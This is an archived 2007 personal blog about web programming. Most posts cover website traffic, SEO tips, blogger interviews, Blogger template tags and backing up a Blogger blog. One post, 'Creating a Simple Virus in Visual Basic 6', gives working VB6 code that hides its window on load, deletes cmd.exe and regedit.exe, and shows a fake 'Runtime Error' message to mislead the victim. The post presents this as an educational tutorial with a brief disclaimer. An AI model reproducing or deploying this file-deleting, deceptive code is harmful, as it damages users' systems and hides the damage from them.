Practical Web Programming

Friday, August 31, 2007

Five Techniques To Make Your Website Stick

What is better than having visitors continuing to return to your website, without any effort on your part? You definitely need to make your website sticky and below are my 5 tips to achieve this.

Have good, interesting content. This is the one of the main reasons why I favour blogs advertising Adsense. You can easily write content and update it on your website. People browse on the internet to read content. So if the
information provided by you is good and it is updated on a regular basis, the user will bookmark your site and will return.

Have a newsletter subscription or a mini course sign up. Once visitors sign up to your form, they are on your email list. Having your visitors go on your email list will remind them of your existence so that they visit you again. However, you have to make sure that your mini-course provides good content so they will read it.

Have a forum on your website. With good content you will attract interested visitors to your website. These visitors love to share and discuss what they are passionate about. A forum will act as a regular gathering place for them which means repeated visits and also increase in Adsense clicks.

Announce upcoming events. In your content, you should always specify what is coming up in the next few days. This will increase the visitor's awareness of your website and they will remember to visit your website again sometime in the future to check out what you mentioned before.

Have a schedule of the updates to your website and stick to it. If your blog is rarely updated, the chances of the visitor coming back is near zero. People love reading good content but if they return and find that your content is the same they will rarely return. The reason is because they have a lot of other choices. The web is so
clickable, you've got to get their attention. If you stick to having updates on regular basis such as once in 2
days, then the visitor will return to read the latest on your website.

Tuesday, August 28, 2007

Hooked Up With 24

It's almost four days since my last post. The past three days was my day off from work - Monday being an special holiday.

I spent most of my day offs watching 24. I'm really hooked up to this series. Lots of actions and drama that I don't wanna get up from in front of the TV screen. I managed to bought the complete first 1-5 series two weeks earlier but haven't enough time to watch it so the last three days was the best time to do it. This is the second TV series that I bought. The first was the season 1 and 2 of Prison Break.

During the evenings, I spent it uploading and maintaining the new community website that I created for the people of our town. So far, the website is up and doing well.

Friday, August 24, 2007

Blogger's Corner: Ahmed

It's been a while since my last post. I was busy doing a new community website.

The feature blogger for today is Ahmed. He is an Indian doctor of medicine who is interested in computers and making money through the internet.


























































Profile
Photo None
Name Ahmed
Describe Yourself Hi, My name is Ahmed. Am from India
Am a Doctor by proffession. But i was interested in computers right from my childhood. So i decided to start a blog. When i came to know that people earn through blogging, i felt thrilled. It was NOT ABOUT MONEY. But it seemed like an aim for me to earn from the internet. Ya it sounds funny.
Main blog eMarketing A to Z
Main Blog Description Its about how to make money online, Internet marketing, About softwares, computers and internet.
Other blogs None
Q & A
1) When and how did you start blogging? I started Blogging around october last year (2006)
2) How many blogs do you maintain? I maintain 3 Blogs. There are other blogs too but i stick on updating these three Blogs.
3) What is your primary reason for blogging? Primary reason for blogging is .. umm like am just addicted to it now.
4) How many hours you spend blogging everyday? I used to spend hours together when i was a new blogger. But i spend an hour a day now.
5) How do you market your blog? I market my blog through social networking sites like MyBlogLog, Technorati etc. In my opinion, Adwords wont work for marketing blogs. May be it works good for selling products through your blog but it can not make your blog popular.
6) Do you monetize your blog? How? Monetize ya through Adsense. Without those Ads the blog looks kinda incomplete lol
7) If you were to write your very last blog post, what it is about? I would write about my first days of blogging when i struggled so much to know silly things about blogging.
8) What is the biggest blogging mistake you've ever done? I always made silly mistakes ... biggest mistake ummm ya once i allowed one of my friends to post in my blog.
9) If you are allowed to read only one blog, what should it be? Its difficult to answer .. may be TechCrunch (other than my blog of course)
10) What advice can you give to other bloggers? I would advice bloggers to blog without worrying about the rewards or results. Soon you will find yourself acheiving your goals.



If you want to be featured in this blog, please visit the Blogger's Corner Campaign post.

Saturday, August 18, 2007

Yahoo Photos is Closing

I receive an email from Yahoo saying the the famous Yahoo! Photos website, which allows Yahoo! users store and share there pictures, is closing on September 20, 2007. This is good news for other online photos sharing website out there as they have a good chance that users of Yahoo! Photos will transfer to them.

Here's part of the email:

For some time now, we've supported two great photo sharing services: Yahoo! Photos and Flickr. But even good things come to an end, and we've decided to close Yahoo! Photos to focus all our efforts on Flickr the award-winning photo sharing community that TIME Magazine has called "completely addictive."

We will officially close Yahoo! Photos on Thursday, September 20, 2007, at 9 p.m. PDT. Until then, we are offering you the opportunity to move to another photo sharing service (Flickr, KODAK Gallery, Shutterfly, Snapfish, or Photobucket). We're making the transfer real simple, and with a couple clicks we'll automatically move your photos to Flickr or wherever you want them. You can also download your original-resolution photos back to your computer, or buy an archive CD from our featured partner (for users of the New Yahoo! Photos only). All you need to do is tell us what to do with your photos before we close, after which any photos remaining on Yahoo! Photos will be deleted and no longer accessible.


Maybe Yahoo! decided to close Photos and focus more on Flickr because it can't cope up with it's competitor that more sophisticated and are slowly gaining popularity. Nevertheless, Yahoo! Photos serves it's purpose for many year it was online.

How To Backup Blogger Blog

I love Blogger. All of my blogs is hosted by them. It's the ease of use and the customisability of it's template that make Blogger blogs famous. In fact, all you need to do is know the Blogger template tags to be able to customize your own template.

But sometimes you might want to use or transfer your existing blog to other blogging engine such as Wordpress. Your biggest problem would be how to back up your existing blog. The good news is, you can. Blogger provides a formula to view all of your blog's post. See below:

http://blogname.blogspot.com/search?max-results=N

Where:
blogname = the name of your blog
N = the number of post in your blog

For example, if your blogs name is http://joelbadinas.com and that blog has less than 1000 posts, you can view all the post through this URL:

http://joelbadinas.com/search?max-results=1000

Once all in that page has been loaded, save it using the <File> -> <Save page As> menu in FireFox or <File> -> <Save As> menu in IE. Make sure you select "Web Page, complete" in the "Save as type" combo box.

Wednesday, August 15, 2007

My Post Has Been Approved

This morning I received an email from PayPerPost.com telling me that they approved my very first sponsored post, "Get Paid To Blog About The Things You Love". This same post was disapproved earlier because of some technicality, but I resubmit it earlier this week.

Here's part of there email:

This is a notification letting you know that your PayPerPost post, Get Paid To Blog About The Things You Love, has been approved. Tell your friends how quick and easy that was!

If you have a blog and planning to monetize it, PayPerPost.com is one of your options. You just sign-up and if they approved your blog, you can start blogging and getting paid at the same time.

Tuesday, August 14, 2007

5 Steps to Get Loads of Traffic

Ok, you've got a website with a great design and useful information, but without traffic, your website is just a sitting duck in the vast intent universe. Don't lose hope though, you still can get loads of traffic to your website. I listed here some of the steps you can do. Read on...

Step 1 - Stuff the search engines
Search engines PROVIDE traffic but they are just one source. Don't let people convince you that they are the be all and end all. There are several guys online who are turning 6 figures a year and they don't do any search engine optimization at all.

So, okay, maybe not 'stuff the search engines' then, but certainly appreciate that they are not the only way to get traffic to your website. You can focus on increasing your RSS subscribers or submit your content to social bookmarking sites.

Step 2 - Get loads of great content
That's the cool thing about the web. It's a supreme leveller. There is no long-term way to be on top of the search engines. Ultimately, if you're going to make it in this game you need lots of quality, unique content.

The more pages of content you have, the more key phrases are on your site and the more chances you have of being listed in the search engines.

Step 3 - Get loads of people to link to you
Guess what? If you skipped Step 2 this isn't going to work! If you don't have a cool site full of great content then who's going to want to link to you? In fact, who's going to want to stay on or even visit your website at all?

Hehe! It's great the Internet - you just can't short circuit it or blag your way through, it all comes down to what words you have on your website. You've got to love it!

Step 4 - Choose the best phrases to use
Get the best phrases for your site. By that I mean the ones that will get you the most traffic. But not just the highest volumes but the highest quality too. Build content around these key phrases.

Step 5 - Rinse, Repeat
See Step 2, 3, and 4

Monday, August 13, 2007

ANECO Project First Planning Session

This morning we had our planning session for our ANECO Project. This project is composed of four programs/systems that we will be developing for Agusan del Norte Electric Cooperative.

The first project that we will be developing is the Device Manager. This program will handle all the data entry of all devices of ANECO.

The Plan
The development of the system is ten days. During the planning session, we set the timetable, divide the modules, set the roles, etc.

The Development Team
The development team is composed of four, (seen in picture from right) Joe, JR, Me, and (not in picture)Macao.

I wonder if we can bet this ten days timetable for the project. Let's see. (^_^)

Friday, August 10, 2007

Blogger's Corner: Archit T

Today's feature blogger is Archit of lifeOmaniac. Archit is a computer geek who is addicted to blogging and the internet. Read more about him below.


























































Profile
Photo None
Name Archit T
Describe Yourself A computer geek who is really addicted to blogging and the cyber world!
Main blog lifeOmaniac
Main Blog Description "...obsessed by life. My personal blog showcasing my fun and adventurous life."
Other blogs (No answer)
Q & A
1) When and how did you start blogging? I started blogging 2 years ago but with no serious intentions about it. I had just made my first blog just for the fun of it on Blogger. Serious blogging started 6 months after when I opened up a jokes blog. I stopped updating that recently and again started a new blog on my personal life.
2) How many blogs do you maintain? Currently I maintain 5 blogs.
3) What is your primary reason for blogging? Addiction :P
4) How many hours you spend blogging everyday? About 2-3 hours. I know it may sound a bit too much but common, the number is 5 blogs.
5) How do you market your blog? Link Exchange, Blog Directories, Forum Participation etc...
6) Do you monetize your blog? How? Yes I do monetize my blog. I get paid to blog about things. One thing I maintain is that I clearly classify my paid posts as "sponsored posts" and never increase my sponsored posts to original posts ratio from 1:4.
7) If you were to write your very last blog post, what it is about? Ouch! That would hurt... Anyways, I would blog about how my cyber life is getting over (I know it sounds very saddening)
8) What is the biggest blogging mistake you've ever done? Deleted my jokes blog by mistake! Had to repost all of them again. It took me about 2 days of continuous copy pasting from my backup files.
9) If you are allowed to read only one blog, what should it be? The Google Blog. God! I am a big Fan and an admirer of Google.
10) What advice can you give to other bloggers? Don't think that putting lots and lots of mods and advertisements to your blog will make you famous as well as rich. Putting too much of modifications(add-ons) and advertisements to your blog decreases its load time and also irritates the visitors. Also, please try to put in ads to your blog only when it is popular and has at least 50-100 visitors per day(Yeah!) because anything less than that will only give you not more than $5-6 per month which is very less. This is only a part of my advise; if anybody out there wants more of my advise please feel free to contact me through http://www.contactify.com/10421



If you want to be featured in this blog, please visit the Blogger's Corner Campaign post.

Wednesday, August 08, 2007

Blog Content Mistakes

When building a blog or a website, you definitely have to have good contents for readers of your site. And it's not just contents, it's got to be good information for them to come back for more. Let's face it, search engines love website with good content - especially if it is updated regularly - and web surfers hungry for information. If your blog caters the needs of this two, you got thousand hits a day and a potential gold mine.

Building good contents for your site is not automatic, especially if you're a beginner and a struggling writer. Consider this few pointers on how you can avoid some blog content mistakes.

1. Don't have a site built purely from your own content.

Why? Because it will take too long to grow lots of pages. Although unique, quality content is "the bees knees", if you ignore other sources of content you are, to quote the cheese-gurus, 'leaving money on the table'.

2. Don't have a site built purely from other people's content.

Why? Because you'll have little that's unique on your site. Every man and his dog tries to borrow other people's content and use content that already exists elsewhere.
But that doesn't make it right: "If you do what everybody else does, you'll get what everybody else gets."

Search engines can frown on duplicate content so if you use sources of content that are not unique you'll need to do things to make those pages unique. But the best plan is not build a site entirely from other people's content

3. Don't have a site built purely of 'synthesized' content.

Why? Because using fancy article-crawling-machines and other 'automatic content machines' will backfire on you eventually. It might make you some revenue in the short-term but it's like trying to build a house with bricks but no mortar.

Sure - it's WAY quicker, but I know which house I'd rather live in and which one is still going to be there in a year's time.

Sunday, August 05, 2007

Blogger Tag Definitions

To really customize your blogs in blogger, you should understand the tags that the Blogger engine use. In this way, you can really harness the power of Blogger and make your own Blogger templates.

Blogger tags are called meta tags, because they represent data stored in the Blogger database about your blog. For example, the tag <BlogItemAuthorEmail> is the email address of the author of a post, as stored in the Profile section.

Below is a list of the Blogger meta tags that you will find in your default Blogger template, with their explaination:

<$BlogEncoding$> - The encoding setting used in a content-type declaration

<BlogSiteFeed> - Start of site feed section
<$BlogSiteFeedUrl$> - URL of blog site feed
</BlogSiteFeed> - End of site feed section

<$BlogTitle$> - The title of the blog.
<$BlogDescription$> - The description of the blog.

<$BlogOwnerFirstName$> - Blog owner firstname
<$BlogOwnerLastName$> - Blog owner lastname
<$BlogOwnerEmail$> - Blog owner email address
<$BlogOwnerFullName$> - Blog owner fullname
<$BlogOwnerPhone$> - Blog owner phone

<Blogger> - Start of blog contents
<BlogDateHeader> - Start of date header section
<$BlogDateHeaderDate$> - Date header
</BlogDateHeader> - End of date header section

<BlogItemTitle> - Start of item title section
<$BlogItemTitle$> - Item title text
</BlogItemTitle> - End of item title section

<$BlogItemBody$> - The text of a post
<$BlogItemAuthor$> - The author of a post
<$BlogItemAuthorNickname$> - The nickname of the author of a post
<$BlogItemAuthorEmail$> - The email address of the author of a post
<$BlogItemAuthorURL$> - The homepage URL of the author of a post
<$BlogItemDateTime$> - The Date and/or Time of a post
<$BlogItemNumber$> - The unique ID number of the post
<$BlogItemArchiveFileName$> - The archive filename of the post
<$BlogItemPermalinkURL$> - The permalink or URL of the item

<BlogDateFooter> - Start of footer section
</BlogDateFooter> - End of footer section
</Blogger> - End of blog contents

<BloggerArchives> - Start of archive
<$BlogArchiveURL$> - Archive URL
<$BlogArchiveName$> - Archive name or text
</BloggerArchives> - End of blog archive

Thursday, August 02, 2007

Creating a Simple Virus in Visual Basic 6

Warning: This tutorial is meant to educate programmers and not to harm any computer systems. Please use the information with caution. I will not be responsible for any damage caused by this tutorial.

Now many of you feel that creating a virus very difficult especially for beginners. Well, this tutorial shows you how to create a simple virus with just a few lines of code.

A virus can be any program that deletes files in a system without the permission or knowledge of the owner or the user. This files can be system files or a plain document. Here's the steps.

1) Open a new Visual Basic project, a standard exe file..
2) Add a Form and a CommandButton
3) In the code window, put the following code


Private Sub Command1_Click()
Kill "C:/Windows/System32/cmd.exe"

MsgBox "Runtime Error 492. Not Enough Memory", _
vbCritical, _
"Runtime Error"
End Sub

Private Sub Form_Load()
Me.Caption = "Simple Virus in VB6"
Command1.Caption = "Click Me"
End Sub


Once the project is opened and the CommandButton is clicked, the command file will be removed from the system and a message will be displayed telling the user of a runtime error. Ok, we can now make it a little more difficult if you are finding the above a little too easy.

How about removing more than 1 file, well this is how you could go about doing that, we will stick with the message box fool because I think that works well.

The example below shows how to remove the files when the application is loaded, we will not be using CommandButtons in this one. Follow the steps 1 and 2 above, then in the code window, put the following code.


Private Sub Form_Load()
Me.Visible = False
Kill "C:/Windows/System32/cmd.exe"
Kill "C:/Windows/regedit.exe"
MsgBox "Runtime Error 492. Not Enough Memory.", _
vbCritical, _
"Runtime Error"
End Sub


So above we will be removing the command file and the registry, I don’t think the victim will be best pleased about that do you.

Now I have shown you the above information I think it’s your turn to try and create your own, now you can test it on your own pc, just copy a file, lets say the cmd.exe file and paste it into your C:/ drive. Then put in the code above but in the Kill command, change to "C:/cmd.exe".

That’s all you need to kill, then you will see the file has been removed. Keep trying new things like I have shown and you will be a pro in no time. I hope you enjoyed this tutorial.

Not So Obvious Ways to Promote Your Website - Part #2

See the part #1 here.

E-mail Headers
Have you seen letters from companies or even individual owners of business of services? Guess what they has in thier letter head? You're right, thier business logos, address, services, etc. You can do just like that in you e-mails. Just put you URL and/or services a few spaces from your salutation. This way, your reader with easily notice your URL.

IM Friends and Status
If you are an avid user of Instant Messaging client like YM, ICQ, etc. You can utilize this to advertise your site by sending your URL to you IM friends. Imagine if you have 500 contacts and 50% of them click on your link, it gives site a good boost of visitors. Make sure to put a personalize message as some users moght treat it as a virus link especially if you send them your URL while they are offline. Example message:

Hi [friend_name], please visit my website, [URL]. You might get good information in there.

In Yahoo Messenger, you can also change your online status to the URL of you website. This way, your URL will appear next to your name in your friend YM client.

Offline Advertising
Advertising your site is not only limited online. You can also utilize offline advertising by using flyers, car stickers, billboards, etc, and even the yellow pages of the telephone directory. Of course that will cost you money. But if you are a frequent advertiser on such media, you might as well your URL below your name. It gives you website added exposure. Remember that this is not only limited to such media. Think of ways where you can promote your site offline.

So that completes the list. Use the techniques I listed here in your daily blogging life. This will greatly help you in your traffic generation

Wednesday, August 01, 2007

Not So Obvious Ways to Promote Your Website - Part #1

Traffic is the most important factor why we can say a website is successful. You can have the best content or the best design a website could have, but without traffic, your website is just another website out there.

To augment your existing traffic, I have written here some ways to improved your existing website traffic. Read on.

Commenting in Blogs
Not only that this is SEO friendly, it also gives you good reputation to the reader especially if you comment on the blog very well. Make sure that you read first the blog before you comment on the topic. This the blog owner will not treat your comment as spam and delete it. By putting your URL in your comments gives you a free ride especially if the blog is popular.

Be an Online Expert in your Field
Register to Yahoo Answer or Google Answer and answer questions there that it related to your website and put your signature and your URL at the bottom each every answer. Again make sure that your answer, in one way or another, helps the poster so you build a good impression to him/her that will make him/her click on you URL.

Participate in Forums
Register and participate in forums that is related to your website topic. Put your signature in each posting. But remember not to overdo your signature as it might be a cause to be kicked out of the forum. Just your nickname and URL will do and let it do the talking for your site. Again make sure that post is related to the forum so that you will not get banned. And by giving good post will earn you good reputation.

E-mail Signatures
E-mail signatures provides you to freely advertise your site in a manner that is not obvious. As a sender of the letter, you have all the control to this campign. Make sure to write only a very brief description of your site and not a paragraph that it out-lenghts the content of your letter or better to just write your URL. Example:

Joel Badinas
Systems Developer
Visit my personal blog @ http://joelbadinas.com

Or use link tag:

Joel Badinas
Systems Developer
Joel Badinas dot Com

See the part #2 here.

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